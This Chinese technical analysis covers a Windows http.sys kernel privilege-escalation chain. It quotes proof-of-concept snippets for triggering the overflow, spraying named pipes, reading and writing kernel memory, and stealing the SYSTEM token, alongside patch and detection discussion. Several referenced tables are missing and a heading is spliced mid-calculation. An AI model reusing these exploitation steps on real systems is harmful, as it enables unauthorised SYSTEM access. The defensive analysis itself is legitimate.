Windows http.sys CVE-2026-62735 提权链拆解
前言
2026 年柏林的 Pwn2Own 赛场上,韩国研究员 Siyeon Wi 演示了一条 Windows 内核提权链。三个月后的 8 月 11 日,微软在月度安全更新中把它收编为 CVE-2026-62735。又过了大约两周,一份能在 Windows 11 25H2 上稳定跑到 SYSTEM shell 的公开验证代码出现在 GitHub 上。
这三段时间值得放在一起看。微软给这个漏洞打的标记是"未公开披露(publiclyDisclosed: No)"和"未发现在野利用(exploited: No)",从披露流程上讲这个标记是准确的,补丁与通告同步发布,不存在零日在野的窗口。但补丁落地到公开验证代码出现只隔了大约两周,这意味着留给企业端的实际修复窗口已经非常紧。
先把定性钉死,避免后面读偏:这是一个本地权限提升漏洞,不是远程代码执行漏洞。ZDI 通告的原文写得很清楚,攻击者必须先具备在目标系统上执行低权限代码的能力,才能利用这个漏洞。微软的 CVSS 向量里攻击向量一项是 AV:L(Adjacent/Local,本地),权限要求一项是 PR:L(低权限)。成功利用的结果是拿到 SYSTEM 权限。
本文的证据分三层,会分别标注:微软官方更新指南的定级与受影响产品清单、Trend Micro 旗下 ZDI 的独立定级与定性、第三方逆向笔记与公开验证代码的机理分析。凡属第三方推断而非官方结论的地方,我会明确点出来,并且对源材料内部一处数值不自洽的地方做纠偏,不照抄。
一、先把事实钉死:官方与 ZDI 差了 1 分,差在哪
1.1 微软官方口径
微软安全更新指南(MSRC Security Update Guide)对 CVE-2026-62735 的记录如下:
二、影响范围:一张表看清中没中
2.1 受影响产品全表(MSRC 官方 30 条记录合并)
数据取自微软安全更新指南 API 的 affectedProduct 集合,共 30 条记录,按产品线合并如下:
同一个产品线出现两个 KB 号,是因为当月的安全更新与预览更新分别带修复,取其中任意一个达到对应 Build 即可。
2.2 一处双向印证
第三方逆向笔记给出的补丁版本是"Windows 11 25H2 26200.9168"。MSRC 官方记录里 Windows 11 25H2 对应的 KB5121003 修复后 Build 正好是 10.0.26200.9168。两边完全对齐,说明 KB5121003 就是这条链的修复补丁,也说明第三方笔记的分析样本确实是打了补丁后的版本做的二进制比对。
而公开验证代码的 README 声明测试环境是 Windows 11 25H2 26200.8875,低于 26200.9106 与 26200.9168 两个修复 Build,验证成立。
这种"官方清单 Build 号"与"第三方分析样本 Build 号"能互相咬合的情况,是判断一份第三方分析可信度最快的办法。对不上号的笔记,通常是拿错了符号或者比对基线选错了,后面的结论都要打折。
2.3 不在表上的版本是哪些
官方清单里没有出现的产品,基本都属于已终止支持:Windows Server 2008 / 2008 R2、Windows 11 21H2 / 22H2、Windows 10 1507 / 1511。
于是影响范围可以概括成一句话:所有仍在支持期内的 Windows 客户端与服务器版本,全部在受影响范围内。这句话看起来吓人,实际含义很朴素,它是一个全平台内核组件的问题,只要机器在打补丁、在支持期内,就有对应的修复可用。
2.4 三个决定影响范围的关键判断
这一节是本文最需要说清楚的部分,因为它直接驳斥了三种常见的错误缓解思路。
判断一:http.sys 默认不加载,不等于有一道防线
HTTP 服务(服务名 HTTP,驱动文件 %SystemRoot%\system32\drivers\HTTP.sys)在 Windows 上的默认启动类型是 Manual,对应内核驱动的 SERVICE_DEMAND_START。在没有装 IIS 的客户端上,它通常不处于运行状态。
但攻击者只需要在本地调用 HTTP Server API 的初始化函数 HttpInitialize,系统就会按需拉起这个驱动。公开验证代码的第一行有效调用就是它:
status = HttpInitialize(version, HTTP_INITIALIZE_SERVER, nullptr);把"服务默认没开"当成缓解措施,在提权类漏洞上几乎从来不成立。攻击者拥有本地代码执行能力时,按需启动一个 Manual 类型的驱动没有任何门槛。这个判断可以推广:凡是"默认关闭但攻击者可自行开启"的组件,都不能计入防护纵深。
判断二:非管理员也能注册 URL,PR:L 成立
公开验证代码的调用序列里,唯一可能被权限卡住的一步是 URL 注册:
status = HttpCreateRequestQueue(version, nullptr, nullptr, 0, &queue);
// ...
status = HttpAddUrlToUrlGroup(urlGroup, kUrl, 0, 0);其中 kUrl 的取值是:
constexpr PCWSTR kUrl = L"http://127.0.0.1:8088/poc/";微软官方 HttpAddUrlToUrlGroup 文档对 pFullyQualifiedUrl 参数的原文说明是:
If you are not running as an administrator, specify a port number greater than 1024, otherwise you may get an ERROR_ACCESS_DENIED error.
翻译过来:如果你不是以管理员身份运行,请指定大于 1024 的端口号,否则可能收到 ERROR_ACCESS_DENIED 错误。这句话的反面就是,非管理员注册高位端口的 URL 是被允许的。公开验证代码用的 8088 端口加上明确的回环地址 127.0.0.1,正是照着这条约束设计的。而 HttpCreateRequestQueue 那一步的安全属性参数直接传了 nullptr,同样没有特权要求。
这解释了为什么微软和 ZDI 都把权限要求定为 PR:L。如果 URL 注册必须管理员,那么提权链的前置条件就是"已经是管理员",整个漏洞的定级会完全不同。有些运维同学以为"HTTP Server API 要管理员才能用",这个印象来自 IIS 的 URL 预留(urlacl)场景,属于两回事。
判断三:触发面不止裸 IOCTL,文档化 API 同样可达
公开验证代码是用裸 IOCTL 触发的:
constexpr ULONG ioctl = 0x12403F;
// ...
DeviceIoControl(queue, ioctl, &input, sizeof(input), nullptr, 0, &bytesReturned, nullptr);容易产生的误解是,这是某种绕过安全检查的私有通道。其实 0x12403F 就是 HTTP Server API 在用户态与 http.sys 之间发送响应所使用的标准 IOCTL,文档化函数 HttpSendHttpResponse 走的也是这条路。
更关键的是载荷本身也能通过文档化结构构造。微软文档里 HTTP_RESPONSE_V2 的定义继承自 HTTP_RESPONSE_V1,多出的两个成员是:
typedef struct _HTTP_RESPONSE_V2 : _HTTP_RESPONSE_V1 {
USHORT ResponseInfoCount;
PHTTP_RESPONSE_INFO pResponseInfo;
} HTTP_RESPONSE_V2, *PHTTP_RESPONSE_V2;而 HTTP_RESPONSE_INFO 的定义是:
typedef struct _HTTP_RESPONSE_INFO {
HTTP_RESPONSE_INFO_TYPE Type;
ULONG Length;
PVOID pInfo;
} HTTP_RESPONSE_INFO, *PHTTP_RESPONSE_INFO;官方文档对 pInfo 成员的表述是:当 Type 为 HttpResponseInfoTypeMultipleKnownHeaders 时,指向一个 HTTP_MULTIPLE_KNOWN_HEADERS 结构。也就是说,多值已知响应头(Multiple Known Headers)是 HTTP Server API 正式支持的能力,正规应用可以通过 HttpSendHttpResponse 提交,不需要任何私有调用。
这一点把影响范围从"某个私有 IOCTL 的调用者"扩大到"任何使用 HTTP Server API 发送多值已知响应头的本地程序"。也意味着想通过"禁止直接 DeviceIoControl"之类的手段做拦截,方向是错的。有 IIS 角色、有 WinRM、有打印后台处理程序、有 SSDP 发现服务的机器上,依赖 http.sys 的进程本来就不少。
三、根因:一次 32 位加法把 4 GB 算成了几十字节
3.1 二进制比对看到了什么
第三方分析者用 Diaphora 对补丁前后的 http.sys 做了二进制比对,观察到五个函数的相似度显著下降,且都被加入了 STATUS_INTEGER_OVERFLOW 的处理与全局变量检查:
UlCalculateFastForwardDataContextSize 计算快速转发数据上下文所需内存,并校验计算是否溢出
UlpCreateInternalResponse 计算 HTTP 响应各组成部分的总大小,分配并初始化内核内部响应缓冲区
UlpCreateInternalResponseOld 同上,但在 UxKirRefactorIoctls = 0 时被调用
UlComputeMultipleKnownHeaderSize 遍历各响应头组,累加所有头部值的大小
UlComputeMultipleKnownHeaderSizeOld 同上,但在 UxKirRefactorIoctls = 0 时被调用五个函数里,只有两个能从用户态触达。原因是分析样本上全局开关 UxKirRefactorIoctls 的取值为 0,程序走的是遗留(legacy)处理路径,对应:
UlComputeMultipleKnownHeaderSizeOld:算出多值响应头所需字节数
MultipleHeaderBytesLocalUlpCreateInternalResponseOld:把各部分字节数加总,据此分配缓冲区
五个函数里三个带 Old 后缀或者不在 legacy 路径上,说明 http.sys 内部存在新旧两套响应构造实现,由 UxKirRefactorIoctls 这个全局开关切换。这类"重构到一半"的状态是内核驱动最常见的缺陷温床,新实现往往修好了某个问题,旧实现原封不动留着,只要开关没有全局翻转,旧路径就一直可被触达。补丁同时给五个函数都加了溢出检查,侧面说明微软自己也清楚这类同源缺陷不止一处。
3.2 触发路径
完整调用链(自下而上为调用方向):
用户态 poc!exploit
└─ KERNEL32!DeviceIoControlImplementation
└─ KERNELBASE!DeviceIoControl
└─ ntdll!NtDeviceIoControlFile
└─ nt!NtDeviceIoControlFile
└─ nt!IopXxxControlFile
└─ nt!IopSynchronousServiceTail
└─ nt!IofCallDriver / nt!IopfCallDriver
└─ HTTP!UxDeviceControl
└─ HTTP!UlSendHttpResponseIoctl
└─ HTTP!UlSendHttpResponseIoctlOld
└─ HTTP!UlCaptureHttpResponseOld
└─ HTTP!UlpPrepareHttpResponseOld
└─ HTTP!UlGenerateMultipleKnownHeadersOld
└─ HTTP!memcpy ← 越界写发生处从栈回溯可以看到,UlSendHttpResponseIoctl 只是转了一层,真正干活的是带 Old 后缀的 UlSendHttpResponseIoctlOld,随后依次进入 UlCaptureHttpResponseOld(捕获并校验响应结构)、UlpPrepareHttpResponseOld(准备内部响应)、UlGenerateMultipleKnownHeadersOld(生成多值已知响应头)。
3.3 溢出表达式逐项拆解
漏洞点在 UlpCreateInternalResponseOld 的总字节数计算上。反编译后的关键语句是:
// 0xffffff32 + 0x2e + 0 + 0xa0 = 0x4e
TotalHeaderBytes = MultipleHeaderBytesLocal + FixedHeaderBytes + H3ExtraHeaderBytes + VariableHeaderBytes;四个加数各自的来源与取值:
UlVariableHeaderSize 的取值有 WinDbg 实测佐证:
1: kd> dd http!UlVariableHeaderSize l1
fffff802`07b865b8 000000a0而 MultipleHeaderBytesLocal 完全由用户态提交的响应头条目数与每条长度决定,公开验证代码里就是据此反推目标值:
targetMultiHdr = static_cast<uint32_t>(targetHdrBytes - fixedHdr - varHdr);constexpr uint64_t kFixedHeaderBytes = 0x2e;
constexpr uint64_t kVariableHeaderBytes = 0xa0;3.4 一处数值出入,需要纠偏
源材料在注释里写的溢出结果是 0x4e(78)。但按四个加数的给定取值做 32 位无符号回绕的严格复算:
0xffffff32 = 4294967090
0x2e = 46
0x0 = 0
0xa0 = 160
--------------------------------
合计 = 4294967296 = 0x100000000
截断为 32 位无符号 → 0x00000000复算结果是 0,不是 0x4e。反过来推,如果最终结果确实是 0x4e,那么 MultipleHeaderBytesLocal 应当是 0xffffff80 而不是 0xffffff32。也就是说,源材料给出的四个加数与给出的结果之间存在 78 字节的出入,可能的来源是作者记录了不同调试会话下的取值,或者是 AlignUp(向上对齐)参与了实际运算而注释未体现。补丁新增的全局变量名为 UxKirFixUseOfAlignUpAndOverflowChecks,其中含 AlignUp 字样,说明这条路径上确实存在对齐运算。
本文不替源材料掩盖这个出入。关键在于,后续所有结论都不依赖这个具体数值,因为分配尺寸与越界长度都有 WinDbg 直接观测值支撑,属于实测证据而非推断:
实际分配尺寸:
0x2000字节实际越界长度:
0x30(48)字节
无论加总结果是 0 还是 78,相对 4 GB 级别的头部需求都小到离谱,缓冲区必然严重不足。
引用第三方逆向笔记时,最容易被带偏的就是这类"看起来很精确的注释值"。判断标准是区分实测值与推断值:寄存器快照、pool tag、分配尺寸、越界长度属于实测值,可以直接采信;加数取值、溢出结果属于作者的事后推断,出现不一致是常态。写分析文章时把这两类分开标注,读者的信任成本会低很多。
3.5 分配侧证据
计算完 TotalHeaderBytes 之后,驱动调用 ExAllocatePool3 在非分页池(Nonpaged Pool)分配内部响应缓冲区。WinDbg 追踪到的现场:
HTTP!UlpCreateInternalResponseOld+0x1cd:
fffff803`3162a1a1 e8ee9af8ff call HTTP!UlpAllocateInternalResponse (fffff803`315b3c94)
0: kd> dq ffff9f02`44dc5e08 l1
ffff9f02`44dc5e08 ffffa38a`0c1f4000
0: kd> !pool ffffa38a`0c1f4000
Pool page ffffa38a0c1f4000 region is Nonpaged pool
*ffffa38a0c1f4000 : large page allocation, tag is UlIR, size is 0x2000 bytes
Pooltag UlIR : Internal Response, Binary : http.sys三个要点:区域是 Nonpaged pool(非分页池),标签是 UlIR(Internal Response,归属 http.sys),尺寸是 0x2000 即 8192 字节。
按上一节的加数,用户态提交的响应头总需求在 4 GB 量级,而这里只分了 8192 字节。
3.6 越界写证据
缓冲区分配好之后,驱动把它写入内部响应结构的偏移 0xc8 处
HTTP!UlpCreateInternalResponseOld+0x2b6:
fffff803`3162a28a 4889bbc8000000 mov qword ptr [rbx+0C8h],rdi
0: kd> ? rdi - ffffa38a`0c1f4000
Evaluate expression: 1230 = 00000000`000004ce数据区的起始偏移是 0x4ce(1230)。这个数字可以从公开验证代码的常量反推验证:
constexpr uint64_t offsetOfF_C8 =
0x380 + 0x50 * kResponseChunkCount + 0x30 * kTrailerCount + kFixedHeaderBytes;
// 0x380 + 0x50 * 3 + 0x30 * 1 + 0x2e
// = 896 + 240 + 48 + 46 = 1230 = 0x4ce随后 UlGenerateMultipleKnownHeadersOld 开始逐条把响应头名与值拼进缓冲区,越界写就发生在它内部的 memcpy:
HTTP!UlGenerateMultipleKnownHeadersOld+0xbd8:
fffff803`3165660c e82fdc0100 call HTTP!memcpy (fffff803`31674240)
0: kd> ? ffffa38a0c1f44dd - ffffa38a`0c1f44ce
Evaluate expression: 15 = 00000000`0000000f
0: kd> ? ffffa38a`0c1f6030 - (ffffa38a`0c1f4000 + 2000)
Evaluate expression: 48 = 00000000`00000030把这段算术摊开:
缓冲区起始 = base + 0x0000
头部数据区起点 = base + 0x04ce
本次写入目标 = base + 0x04dd (跳过 "Cache-Control: " 共 0x0f 字节)
3.7 崩溃与失败模式拷贝长度 = 0x1b53 = 6995 字节
写入终点 = base + 0x04dd + 0x1b53 = base + 0x2030
缓冲区末尾 = base + 0x2000
越界长度 = 0x2030 - 0x2000 = 0x30 = 48 字节寄存器 r11 = 6f432d6568636143,按小端序解码是 ASCII 字符串 Cache-Co,正是 Cache-Control 的前八个字符,佐证这次拷贝的对象是 Cache-Control 响应头的值。
越界只有 48 字节,看起来微不足道,但在非分页池里这 48 字节足够覆盖下一个池块的头部。非分页池的 DATA_QUEUE_ENTRY 结构头部恰好是 0x30(48)字节,这个数字不是巧合,利用者就是按这个尺寸去布局的。堆溢出的危险性从来不取决于越界多少字节,而取决于越界的那几个字节落在谁的头上。
3.7 崩溃与失败模式
越界写访问到无效内存区域时,系统触发 0x50 蓝屏:
*** Fatal System Error: 0x00000050
(0xFFFFA38A0C1F6000,0x0000000000000002,0xFFFFF80331674362,0x0000000000000002)
Driver at fault:
*** HTTP.sys - Address FFFFF80331674362 base at FFFFF80331510000, DateStamp 2bfcaa4c第三方分析者在笔记里补了一句很重要的话:在某些情况下系统可能不崩溃,因为 Windows 恰好在紧邻位置分配了块,但堆溢出依然发生了。
这句话是全文对防守方最有价值的一句。它意味着"跑一遍没蓝屏"完全不能作为"没中招"的证据。内核堆越界写是否立刻触发异常,取决于越界那几十字节落到的物理页是否有映射、是否被标记为可写。成功利用的场景下,攻击者会精心布局让越界落到自己控制的合法池块上,这时候系统一点动静都没有,而攻击者已经拿到了任意读写能力。用崩溃来验证漏洞是否存在,是防守方最容易犯的测试方法错误。
四、触发:69,993 条响应头是怎么凑出来的
4.1 一个进程扮演两个角色
公开验证代码的设计比较巧妙:同一个进程既是 HTTP 客户端,也是 HTTP 服务端。
Server (poc.exe) http.sys Client (WinHTTP)
user-mode kernel-mode same poc.exe
| | |
|-- HttpInitialize --------------------->| |
|-- HttpCreateRequestQueue ------------->| |
|-- HttpCreateServerSession ------------>| |
|-- HttpCreateUrlGroup ----------------->| |
|-- HttpSetUrlGroupProperty ------------>| |
|-- HttpAddUrlToUrlGroup --------------->| |
| |<----------- GET /poc/ ----------|
|<----------- 请求入队 -------------------| |
| | |
| 取出 RequestId | |
| 构造 HTTP_RESPONSE_V2 | |
| | |
|-- IOCTL 0x12403F 发送响应 ------------> Crash主线程完成服务端初始化并注册 URL,随后另起一个 SendLocalRequest 线程扮演客户端向本地发一个普通的 GET 请求。请求经 http.sys 入队后,主线程用 HttpReceiveHttpRequest 取出,拿到合法的 RequestId,再构造恶意的 HTTP_RESPONSE_V2 发回去。
之所以要绕这一圈,是因为 UlSendHttpResponseIoctl 需要一个真实存在的请求上下文才能走到后面的响应构造流程。凭空构造一个 RequestId 会在前置校验阶段就被拦下。
这一步也说明攻击者的权限需求被压到了最低。HttpReceiveHttpRequest 拿到的是自己队列上的请求,全程不需要访问别人的资源。整个攻击面都收敛在"自己跟自己说话"这件事上,任何基于网络边界的防护措施都看不到它。
4.2 载荷构造
驱动要处理的是一个包含 7 组多值已知响应头的响应:
HTTP/1.1 200 OK
Cache-Control: AAAA...AAAA
Connection: AAAA...AAAA
Date: AAAA...AAAA
Keep-Alive: AAAA...AAAA
Pragma: AAAA...AAAA
Trailer: AAAA...AAAA
Transfer-Encoding: AAAA...AAAA具体规模:
合计 9,999 × 7 = 69,993 条头部条目。
这七个响应头不是随便挑的,它们都属于 HTTP 规范里允许重复出现的多值头(Multiple Known Headers),在 UlComputeMultipleKnownHeaderSizeOld 的累加循环里,每条目还会额外加上 3 字节的分隔符开销与头部名长度:
MultipleHeaderBytesLocal +=
3
+ KnownHeaderValueLength
+ g_ResponseHeaderMapTable[
28 * g_ResponseHeaderMap[HeaderDescriptor.HeaderId]];条目数与单条长度的乘积需要精确命中让 TotalHeaderBytes 回绕的目标值,公开验证代码用两个常量反推:
把条目数定在 9,999 而不是 10,000,说明填充尺寸是算出来的而不是随手填的。这类整数溢出利用的构造过程本质是解一个模 2 的 32 次方的同余方程,攻击者需要同时满足"累加值回绕到很小"和"实际数据量足够大以撑爆缓冲区"两个条件。理解这一点有助于防守方判断:这类载荷在正常业务流量里几乎不可能自然出现,但它的特征也不在 HTTP 层,而在内核的分配行为上。
五、从堆溢出到 SYSTEM:非分页池喷射与 token 替换
5.1 为什么选命名管道
非分页池溢出(Nonpaged Pool Overflow)是 Windows 内核利用的经典套路,选择喷射对象的关键在于"能否在内核池里放置可控大小且可控内容的对象"。命名管道满足这个条件:Windows 把命名管道的数据存放在非分页池中,每个数据块是一个 DATA_QUEUE_ENTRY(DQE)结构,归属 npfs.sys,池标签为 NpFr(DATA_ENTRY records)。
DQE 的结构特征是固定的 0x30 字节头部,后面紧跟数据区。前面算出的越界长度恰好是 0x30,于是利用者可以完整覆盖下一个池块的整个 DQE 头部。
还有一个细节帮了大忙:UlGenerateMultipleKnownHeadersOld 在写完头部值之后,会接着写 \r\n 两个字节来终止这个响应头。如果目标是把整个 0x30 字节头部都改掉,那么末尾这两个字节会落到不该落的地方。利用者的处理方式是干脆控制整个 0x30 字节头部,让驱动随后写入的 \r\n 正好落进数据区,不破坏结构。
这个"利用驱动自己的合法写入行为来收尾"的技巧,是非分页池利用里相当典型的手法。它说明内核利用的难点往往不在"写什么",而在"写完以后系统会不会立刻崩"。能不能让驱动自己把尾巴收拾干净,决定了这个原语好不好用。
5.2 喷射规模与布局
公开验证代码的喷射策略:
布局代码:
for (size_t i = 0; i < pipePool.size(); ++i) {
WritePipeData(pipePool[i].w, sprayEvent, &dqe->Irp, THIRD_ENTRY_SIZE);
WritePipeData(freePipePool[i].w, sprayEvent, buf, THIRD_ENTRY_SIZE);
}三个工程细节值得单独说:
细节一,从列表中间遍历而不是从头遍历。 Windows 内核的池管理器会把相邻的空闲块合并成更大的块。如果按索引顺序从头释放,前面释放的块会连成一大片,后续的受害者分配可能落不进预期的洞里。从中间开始绕一圈,可以打散合并行为:
size_t holes = freePipePool.size();
for (size_t i = 0; i < holes; ++i) {
size_t idx = (i + holes / 2) % holes;
// ...
}细节二,故意留一个洞不释放。 索引为 holes / 2 + 1 的那个洞被保留下来,用于后续读取内核地址:
size_t idx = (i + holes / 2) % holes;
if (idx == holes / 2 + 1)
continue;细节三,用长度判据定位受害者。 溢出发生后,遍历 pipePool 用 PeekNamedPipe 探测,返回字节数正好等于 TOTAL_DATA_SIZE + LEAK_BYTES + 1 的那根,就是数据条目被越界改写的受害者:
DWORD wanted = (DWORD)(g_prefix + 1);
for (auto& pipe : pipePool) {
DWORD received = 0;
if (PeekNamedPipe(pipe.r, buf, wanted, &received, nullptr, nullptr) && received == wanted) {
g_victim_pipe = &pipe;
break;
}
}喷射完成后的池布局在 WinDbg 里可以直接看到,受害者缓冲区后面紧跟的就是 NpFr 块:
0: kd> !pool rcx
Pool page ffffdf80054e84dd region is Nonpaged pool
*ffffdf80054e8000 : large page allocation, tag is UlIR, size is 0x2000 bytes
Pooltag UlIR : Internal Response, Binary : http.sys
0: kd> !pool ffffdf80`054ea000
Pool page ffffdf80054ea000 region is Nonpaged pool
*ffffdf80054ea000 : large page allocation, tag is NpFr, size is 0x2000 bytes
Pooltag NpFr : DATA_ENTRY records (read/write buffers), Binary : npfs.sys2,000 根命名管道这个规模,在正常应用里几乎不会出现。这给防守方留了一个可用的主机侧检测特征:短时间内进程创建的命名管道句柄数异常攀升。它的局限是只能在利用的准备阶段发现,一旦喷射完成并触发溢出,这个特征就消失了。
5.3 任意读
越界改写 DQE 头部之后,被改的那个条目属于攻击者控制的管道,通过 PeekNamedPipe 就能把它后面的内核内存读出来。核心的一步是泄漏下一个池块的 Flink 指针,有了内核地址就有了遍历内核数据结构的起点,进而构造出稳定的任意读原语。
泄漏过程在 WinDbg 里对应这样一条指令:
poc!main+0x5bc:
0033:00007ff6`82ea312c 498bb6705f0000 mov rsi,qword ptr [r14+5F70h]
ds:002b:00000214`2e12ffb0=ffff92088366eb48读出来的 ffff92088366eb48 就是一个内核地址。
技术点评:从"越界写 48 字节"到"任意读任意内核地址",中间只隔着一个链表指针。这正是非分页池对象被反复选作利用载体的原因:池块之间的链表结构把"写一点"放大成了"读全部"。防守视角看,任何让攻击者能同时控制池布局与池块头部内容的内核缺陷,实际危害都远高于 CVSS 给的分数。
5.4 任意写与 token 替换
有了任意读,接下来用 NtFsControlFile 构造任意写原语,然后走 Windows 提权的标准收尾:找到 SYSTEM 进程的 token,把自己的进程 token 替换掉。
puts("[*] Copying the SYSTEM token");
QueueWrite(NtFsControlFile, writes[0], irpData, tail, systemProcess + OFF_TOKEN, currentProcess + OFF_TOKEN);
TriggerWrite(writes[0], a1);
assert(Read64(currentProcess + OFF_TOKEN) == systemToken);
printf("[+] Current token elevated: 0x%llx -> 0x%llx\n", currentProcess + OFF_TOKEN, Read64(currentProcess + OFF_TOKEN));token 替换(Token Stealing / Token Substitution)是 Windows 本地提权最经典也最稳定的收尾方式,从 Windows 7 时代一直用到现在。微软在近些年陆续加入了 token 完整性校验、内核态代码签名、SMEP、内核 CFG 等缓解措施,但都没有封死"直接改 token 字段"这条路,因为这个操作在语义上与内核自己修改 token 无法区分。这意味着防守方不能指望缓解机制兜底,只能回到"别让攻击者拿到本地代码执行"这个原点。
5.5 清理步骤是成败分界线
替换完 token 之后还有一个必须处理的收尾问题:被越界改写的 DQE 结构里,DataSize 字段现在比原始值大。等进程退出、内核清理管道的时候,它会按 DataSize 去读数据,直接崩掉。
处理方式是再做一次任意写,把 DataSize 恢复成一个合法值:
*(uint64_t*)(USER_DATA_ENTRY_ADDR + 0x3000) = 2;
QueueWrite(NtFsControlFile, writes[1], irpData, tail, USER_DATA_ENTRY_ADDR + 0x3000, a1 + 0x10);
TriggerWrite(writes[1], a1);把 DataSize 修正、释放掉所有用户态内存、关闭全部句柄之后,才起 SYSTEM shell。
清理阶段是这类非分页池利用的共同软肋。攻击者需要先破坏内核数据结构拿到能力,再把它修回去才能全身而退,这两步之间系统处于高度脆弱状态,任何一次意外的线程调度都可能让机器蓝屏。对防守方来说这不是安慰,蓝屏会带走内存里的证据,反而让事后溯源更困难。真正可靠的发现时机仍然是喷射阶段的行为特征,而不是崩溃本身。
六、补丁、自查与处置
6.1 补丁做了什么
修复版本是 Windows 11 25H2 的 10.0.26200.9168(KB5121003)。补丁在 UlpCreateInternalResponseOld 里加了一个全局开关判断与一次上界校验,反编译后的差异是:
- // vulnerable
+ // patched
- TotalHeaderBytes = MultipleHeaderBytesLocal + FixedHeaderBytes + H3ExtraHeaderBytes + VariableHeaderBytes;
+ if ( UxKirFixUseOfAlignUpAndOverflowChecks )
+ {
+ TotalHeaderBytes = VariableHeaderBytes + MultipleHeaderBytes + FixedHeaderBytesLocal + H3ExtraHeaderBytes;
+ if ( TotalHeaderBytes > 0x7FFFFFFF )
+ return 0xC0000095;
+ }0xC0000095 是 NTSTATUS 的 STATUS_INTEGER_OVERFLOW。超过上界就直接返回错误,不再往下分配。
6.2 对补丁质量的技术点评
这个补丁能堵住这条链,但做法上有两点值得讨论。
第一,它是事后校验,不是前置的溢出安全算术。 补丁的思路是"先按 32 位算完,再检查结果有没有超过 0x7FFFFFFF"。这个思路在数学上是成立的,因为四个加数都是无符号 32 位,最大和不超过 0xFFFFFFFF,超过 0x7FFFFFFF 就说明要么真的很大、要么发生了回绕(回绕后结果会偏小,但原值之和超过 0x7FFFFFFF 时回绕结果必然小于真实需求,也会被这一检查覆盖到一部分情况)。更彻底的做法是在每一步加法处使用 RtlULongAdd 这类带进位检查的安全算术函数,让溢出在发生的那一刻就被捕获。补丁新增的全局变量名字里同时含 AlignUp 与 OverflowChecks,说明微软这次一并处理了对齐运算与溢出检查,但从代码形态看仍属阈值判定。
阈值判定的弱点是它依赖"选一个正确的阈值"。0x7FFFFFFF 是 32 位有符号整数的上界,用它来卡一个无符号 32 位累加值是合理的,但这类检查一旦被复制到别的地方、而那里的加数宽度或对齐方式不同,阈值就可能失效。安全算术函数是更好的工程实践,代价是要改每一次加法。微软选择加全局开关 UxKirFixUseOfAlignUpAndOverflowChecks,说明他们需要灰度控制修复的启用范围,这在内核驱动的稳定性要求下是常见且稳妥的做法。
第二,补丁同时改了五个函数,说明微软做了同源排查。 前面 3.1 节列出的五个函数都加了 STATUS_INTEGER_OVERFLOW 处理,其中三个不在本次可被用户态触达的 legacy 路径上。这说明微软不是只堵了 Pwn2Own 上演示的那一条链,而是把响应构造路径上的同类计算全部检查了一遍。
这一点值得肯定,也值得防守方注意。它意味着这次补丁的实际覆盖面比 CVE 描述要宽,打了补丁的机器顺带修掉了另外两处尚未被独立编号的同类问题。反过来说,没打补丁的机器上,那两处问题依然存在,只是暂时没人演示。
结束语
回到这条链的起点。驱动要把用户提交的响应头长度加总起来,好去申请一块缓冲区。四个 32 位整数相加,结果是 4 GB 级别的头部需求被算成了一个小到离谱的数,于是 ExAllocatePool3 只给了 8192 字节。后面 memcpy 多写的那 48 字节,落在了攻击者精心布置的池块上。再往后是泄漏指针、构造任意读写、替换 token、起 SYSTEM shell。
整条链的技术含量分布得很均匀:整数溢出本身只是 C 语言里最常见的那类错误,真正复杂的部分在后面的池布局与清理。但反过来讲,如果第一次加法就写对了,后面那些精巧的活儿一件也用不上。
时间线上还有一层值得注意的东西。微软在 8 月 11 日发布补丁时的标记是"未公开披露、未发现在野利用",准确性没有问题。但公开验证代码在两周后就出现了,而且质量相当完整,从崩溃 PoC 一路做到了稳定提权。这反映出 Windows 内核漏洞的一个新常态:补丁一旦发布,二进制比对就能定位到修改点,从补丁到可用利用代码的周期已经被压缩到以周计。
对企业来说这意味着两件事。一是补丁节奏必须压到 PoC 出现之前,等到公开利用代码满天飞再动,等于把窗口期白白送出去。二是不能只在"有没有被利用"上做文章,本地提权类漏洞的价值完全依附于"低权限代码执行有多容易拿到",终端管控的松紧决定了这类 CVE 的实际水位。
唯有把补丁周期压到 PoC 出现之前,同时把低权限代码执行的入口收紧,才能真正把这类内核提权链挡在门外。